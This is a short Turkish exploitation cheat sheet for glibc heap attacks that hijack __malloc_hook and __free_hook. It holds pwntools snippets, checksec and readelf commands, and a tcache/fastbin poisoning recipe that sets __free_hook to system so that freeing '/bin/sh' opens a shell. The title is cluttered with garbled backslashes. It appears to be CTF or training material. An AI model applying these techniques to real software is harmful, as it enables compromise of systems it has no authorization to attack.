WWW2Exec - \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_malloc_hook & \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_free_hook

binexp offensive

WWW2Exec - \\\\\\\\\\\\\\\\_\\\\\\\\\\\\\\\\malloc_hook & \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_free_hook bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.

Metodoloji

1. checksec + mimari + crash yüzeyini çıkar.

2. Leak veya write primitifini kur.

3. ROP/hook/AW2E ile kontrol akışı al.

4. Shell veya flag’i stabilize et.

Binary profil

file ./vuln

checksec --file=./vuln

pwn checksec ./vuln

readelf -l ./vuln | rg -i 'gnu_stack|interp'

readelf -S ./vuln | rg -i 'got|plt|bss|fini'

gdb -q ./vuln

GOT / write-what-where

readelf -r ./vuln | rg -i 'got|jump'

from pwn import *
ell=ELF('./vuln')
print(hex(ell.got['printf']))
print(hex(ell.plt['system']))

Partial RELRO: GOT yazılabilir; Full RELRO → hooks / .fini_array / atexit

malloc/free hook

from pwn import *
libc=ELF('./libc.so.6')
print(hex(libc.sym['__free_hook']))
print(hex(libc.sym['system']))

tcache/fastbin poison → __free_hook=system; free("/bin/sh")

one_gadget ./libc.so.6

Heap primitif

echo "gdb/pwndbg: heap / bins / chunks"

from pwn import *
p=process('./vuln')
def alloc(sz,data=b'A'):
    p.sendlineafter(b'>', b'1'); p.sendlineafter(b':', str(sz).encode()); p.sendafter(b':', data)
def free(idx):
    p.sendlineafter(b'>', b'2'); p.sendlineafter(b':', str(idx).encode())

Exploit iskeleti

from pwn import *
context.binary=ell=ELF('./vuln')
p=process('./vuln')
# p=remote('TARGET',1337)
# leak → calc → write → control
p.interactive()

python3 exploit.py

Checklist

[ ] fingerprint / profil alındı
[ ] primitif veya erişim doğrulandı
[ ] PoC etkiyi gösterdi
[ ] kanıt paketlendi
[ ] sonraki pivot not edildi